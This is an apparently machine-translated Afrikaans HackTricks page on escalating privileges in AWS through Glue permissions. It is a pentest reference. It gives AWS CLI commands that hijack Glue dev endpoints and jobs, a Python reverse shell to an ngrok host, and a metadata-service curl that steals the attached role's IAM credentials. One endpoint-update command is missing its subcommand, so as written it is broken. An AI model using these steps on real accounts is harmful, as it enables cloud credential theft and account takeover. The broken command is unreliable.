AWS - Glue Privesc

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Gebruikers met hierdie regte kan 'n nuwe AWS Glue-ontwikkelingspunt opstel, 'n bestaande diensrol wat deur Glue aanvaar kan word met spesifieke regte aan hierdie punt toeken.

Na die opstel kan die aanvaller in die instansie van die punt SSH, en die IAM-legitimasie van die toegewysde rol steel:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Vir sluipdoeleindes word dit aanbeveel om die IAM-legitimasie van binne die Glue virtuele masjien te gebruik.

Potensiële Impak: Privesc na die gespesifiseerde glue-diensrol.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Gebruikers met hierdie toestemming kan 'n bestaande Glue-ontwikkeling-eindpunt se SSH-sleutel verander, wat SSH-toegang daartoe moontlik maak. Dit stel die aanvaller in staat om opdragte uit te voer met die voorregte van die eindpunt se gehegde rol:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potensiële Impak: Privesc na die glue-diensrol wat gebruik word.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Gebruikers met iam:PassRole gekombineer met óf glue:CreateJob of glue:UpdateJob, en óf glue:StartJobRun of glue:CreateTrigger kan 'n AWS Glue-werk skep of opdateer, enige Glue-diensrekening aanheg, en die werksuitvoering inisieer. Die werksvermoëns sluit in die hardloop van willekeurige Python-kode, wat uitgebuit kan word om 'n omgekeerde dop te vestig. Hierdie omgekeerde dop kan dan gebruik word om die IAM-verifikasie van die rol wat aan die Glue-werk geheg is, te eksfiltreer, wat kan lei tot potensiële ongemagtigde toegang of aksies gebaseer op die toestemmings van daardie rol:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potensiële Impak: Privesc na die glue-diensrol wat gespesifiseer is.

glue:UpdateJob

Net met die opgedateerde toestemming kan 'n aanvaller die IAM-legitimasie van die reeds gehegte rol steel.

Potensiële Impak: Privesc na die glue-diensrol wat geheg is.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated